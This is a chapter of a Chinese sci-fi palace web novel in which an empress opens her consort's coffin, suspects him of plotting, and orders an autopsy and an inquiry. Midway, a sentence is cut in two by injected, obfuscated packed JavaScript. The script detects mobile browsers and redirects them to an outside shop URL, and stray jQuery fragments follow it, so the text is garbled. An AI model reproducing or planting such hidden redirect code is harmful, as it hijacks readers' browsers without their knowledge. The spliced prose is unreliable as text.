文趣网 > 其他小说 > 她是某文中的暴君 > 2. 开棺验尸
    江昭愿挥开伊西斯的手,直到此时,她踩在地面上,才有自己醒来的实感。

    “陛下,外面已经有车等着了。医生说您忧急攻心才晕过去的,情绪可万万不能太过激动啊。”

    忧急攻心?

    江昭愿若有所思看了伊西斯一眼。

    伊西斯面不改色又补充说:“陛下与皇后相识数十年,恩爱多年,听此噩耗,必然心里难受。臣恳请陛下……”

    “停,话不必再说。做好你的事即可。”

    悬浮车的速度很快,没一会儿便停在了太阳宫某处偏僻的宫殿。

    “……开棺验尸。”

    整个灵堂陷入死寂,所有侍奉在两侧的侍官齐刷刷低下头。

    良久,顶着背后所有属下期待目光的伊西斯上前一步。

    “是臣的失责,没来及将皇后的报告给您。”他调出江岁的检查证明。

    “朕知道,朕的意思是请梅博士来。”

    江昭愿知道他们在犹豫什么。放眼几千年来在灵堂上开棺是对死者的极其的不尊重,更何况棺材里的还是帝国皇后。

    伊西斯脸色愕然,迅速回答,“是陛下。”

    他右手搭在胸前微微鞠躬,挥退了灵堂里的其他人,又打开光脑向另一端发送信息。

    当看到棺材的那一刻,江昭愿忽然意识到一点,除开帝国高层的各种势力外,江岁在极短的时间就获得了帝国青鸟议会六成势力的交好。

    帝国青鸟议会包括了由上中下,也就是贵族商人平民等等全部阶层势力组成。

    帝国每隔三年召开两次全国范围的议会。

    最近的一次会议,还有半年就会召开。

    那本书里为了展示男主的魅力,说皇帝因为头疼难耐不理朝政,手底下的贵族蠢蠢欲动,男主脱颖而出躲在幕后,游走于各个家族之间。

    这十年来江岁对于外界的形象过于美好,未来登基也借了已死皇后的名头安抚不肯低头的皇党。

    好一个帝国二把手,这些年恐怕借着她不务朝政的名义,私底下拉拢贵族结党私营做的风生水起。

    江昭愿周身的气压愈发低沉,室内隐隐压抑如暴风雨席卷前奏。

    另一旁伊西斯戴上手套,轻手轻脚打开棺材。

    灵堂此时还没有布置,简单朴素到没有人敢相信这里躺着的主人生前何等显赫。

    几日前侍官没有接收到皇帝对于葬礼安排的命令,无人敢轻举妄动。

    伊西斯垂下眼眸,手轻轻擦过透明的盖子。

    死了,真是薄命又无用,他想起坐在皇帝被送回太阳宫时紧闭的双眼——闭上眼也要拖累其他人。

    “伊西斯?”江昭愿坐在原地发现她的贴身侍官突然没了动静。

    *

    “大人,该如何处理。”侍官站在他面前忧心忡忡,帝国一二把手接连出事,幸亏外界消息封锁及时,不然此刻皇宫的专线可以被社会打爆。

    伊西斯眼睛通红,脸色苍白憔悴,“收敛起来,等陛下醒来再处理。”

    “是大人。”侍官得了一句切实的吩咐,就看到他直系上司脚步匆匆往皇帝寝室走去。

    “伊大人还是一如既往关心陛下呢。”

    棺材盖掀开轻轻放置在一旁,江昭愿轻唤一声,发现无人回应,她走上前去还未再次开口询问。

    伊西斯兀然抬起头,直勾勾注视着女人眼睛,“陛下,处理好了。”

    打开并不困难,底下的侍官为保尸身不腐,从医院调来营养仓改成了一具简易棺材,还在里面倒满营养液。

    是以如今江昭愿看见的就是这样一副与分别时没有半点区别的模样。

    男人双眼紧闭,半长的黑发飘荡在透明液体里。

    她俯下身,手穿透层层水浪落到男人脸上,一点点抚摸,额头眉毛眼睛嘴巴,再往下是修长的脖颈,侍官帮他换上了皇后制的正装。

    “陛下,没必要弄脏您的手。”伊西斯双手呈上自己的手帕。

    江昭愿抽走手帕,仍旧保持着俯身的姿态。

    她与江岁相敬如宾多年,到头来竟然知道了这么大一个惊喜。

    按照未来人的逻辑,江岁造反是因为是她个暴君。

    那她到底做了什么。

    江昭愿不明白,直到目前为止帝国一切安好,上无内斗下无民怨,对外星球的作战也势头大好,她就算不是什么举世无双名垂千古,也挑不出错。

    ......难道是太阳宫最高加密的系统主脑被攻破了?

    她未来野心勃勃到妄图掌握全人类了?

    不对,一年时间她哪里来这么大的变化?

    江昭愿脑子里一秒钟闪过无数个猜测,丝毫没注意伊西斯悄悄挪着步子站到她身边。

    所以呢?然后呢?

    又或者,江昭愿想到了一个更加不可思议的事实,她与其他星球打了败仗,然后引起民愤。

    书中内容没有详细到方方面面,不然那群未来人不会说出帝国不向其他星球宣战。

    她打了败仗!

    帝国这一战已经打了半年,要是因此她沦为天穹的罪人。江昭愿想,那还是让她野心勃勃试图掌握光脑吧。

    哈。

    不要说这种不吉利的话语。

    江昭愿微微偏头,忽而想起还有第二个人在场。

    伊西斯一直默不作声注视着皇帝,在他眼中,皇帝是极为好看有威严的,哪怕她不再肆意大笑,哪怕她性格愈发阴冷喜怒无常。

    就比如现在她的发丝从耳边滑下,黑色眸子漫不经心扫过去,姿容秾艳,笑意盈盈。

    陛下从没用这样轻蔑的眼神看过他,肌肤是冷白的,衬得乌黑长发与眼眸愈发浓郁,似浓浓雾气里飘出的魇。

    “您在为皇后的逝去伤心吗?”

    “你会为他的死去伤心吗。”

    江昭愿掩着唇角轻微上扬,深紫色长裙拖在地上一路向右边休息室去。

    伊西斯自觉跟上,途中忽然听见前方迷迷蒙蒙的话语。

    “你说人会起死回生吗?”

    “我原先也不相信,都二十世纪了还搞这些神神叨叨的东西,我以为从蒸汽机出现在世界上后,人们都开始相信科学了。”

    江昭愿似乎没有听他说话的意愿,挥手打断了他尚未出口的回答,只是随手指向右侧沙发,示意一起坐下。

    “你知道,我现在不想听科学院那群那老东西的念经一样的研究报告。”

    “是臣的问题。”

    “你说目前的科技可以实现起死回生吗?”

    “……臣会去搜集相关的书籍,明日导入到您的光脑。”伊西斯不解,但大胆猜测。

    “你可真善解人意。”江昭愿扬手,绣着太阳纹的手帕被塞回侍官怀里,“闲聊到此为止,我们的博士到访了。”

    灵堂站了位白发白胡子的老者,就像那种古老的几百年前启蒙童话书里描写的圣诞老人。

    哦,当然光子时代有老人很正常,毕竟大家只是活得久了,不是可以返祖了。如果人人都把寿命交给科技,那和智能机器人控制地球没区别。

    “参见帝国的太阳。”老人右手搭在胸口恭敬的行礼。

    “劳烦您了,梅博士,请帮我给皇后做

    一份详细的全身检

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614824|206054||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    查,并给出他确切的死亡证明。”江昭愿双手交叠敬以给德高望重者的回礼。

    “伊西斯你留在这里从旁协助。”

    梅博士带着慈祥的微笑捋捋胡须,他带的团队从门外涌进。

    江昭愿没有心情留在这里,她一直以来的头疼又发作了,比起观察她的皇后会不会成为帝国最高研究院的实验品,她现在更想好好休息一下。

    江昭愿安逸的闭上眼睛,发现自己莫名其妙躺在一片草丛上。

    草长莺飞,三月的春风吹过桃花清香,漫天的绿意向远延申与湛蓝天空融成一团,目光越过层层叠叠的绿色,是更彩色明艳的衣裙。

    惊讶涌上心头,江昭愿直起身往右边的树林里钻,半道有条清澈小溪,溪水潺潺,可见水底堆积石块下淡水鱼一张一翕。

    她双手抚上脸,蹲在溪边朝里看去。水面倒映出一个熟悉的少女。杏面桃腮眉目如画,不施粉黛而朝气蓬勃,若木分晖,秾华照朝阳之色。

    水光清凌凌,分明是江昭愿少年时的模样。

    “喂,小殿下。你不去骑马蹲在这里看小鱼有什么劲!”

    身后一阵疾风,草浪哗哗作响。

    江昭愿下意识转身,身体不受控制握住高头大马上年轻女孩的手,紧接着一跃而上。

    “你怎么也跟着她们一起胡闹。”

    她仿佛借住在这具身体里,像第三者观看曾经的一举一动。

    “是是是,那你愿意赏脸跟我们一起胡闹吗。”

    马的主人咧开嘴欢呼,两人骑着一匹马向草场中央驰骋。

    江昭愿尚未反应,双手随着惯性抱住身前人腰。

    “出来玩就不要不高兴嘛,你之前不是说好奇骑马什么感觉吗,帝都可没有马场。”

    “就是啊,在帝国开悬浮车都会被罚款。”

    很快并肩又一匹白马追上她们。

    “那叫超速你个蠢货,逃课出来玩等着完蛋吧。”

    “有你们陪着我怕什么。”

    怕什么?怕什么。

    江昭愿听见耳边呼啸的风声,看见白马飞奔离去。

    马上是谁,是她,是江昭愿,是十六岁的江昭愿,还是谁还有谁。

    “干杯!为我们逝去的机甲概论成绩默哀!”

    “呸呸呸打嘴巴。”

    “丧气话自罚自罚。”

    “再加一条今晚谁装哑巴谁自罚三杯。”

    “去你大爷少为难我们高冷哥。”

    “嗯。”

    澄黄的酒水顺着杯壁流下,打湿一点春意,模糊嬉笑的人群渐渐消散远去。

    剩她一人坐在原地。

    春去秋来,衰草枯杨。

    江昭愿恍然睁眼,心里兀然冒出一句:好端端梦到这些做什么。

    睡醒一觉皇帝头疼不仅没能缓解反而更加难受。

    水杯在地上摔得粉碎。

    白金色衣服的侍者脚步匆匆走进来。

    “陛下,梅博士的报告已经出来了。”

    光脑投屏迅速出现在空中。

    江昭愿视线飞速扫过最终落在最后一行。

    已确认被检查人江岁死亡。

    “陛下,需要帮您传唤梅老先生吗?”伊西斯同样也看到这一行字。

    “不,不用。”

    梅博士是绝对的皇党,与其怀疑他不如认定江岁真的会借尸还魂。

    江昭愿疲惫的按按太阳穴,“尸体继续放在这里。车祸的结果呢?我交给你一个任务,去查查江岁生前与哪些家族有来往,以及把元帅府的一举一动每日都汇报给我。”

    “是,陛下。”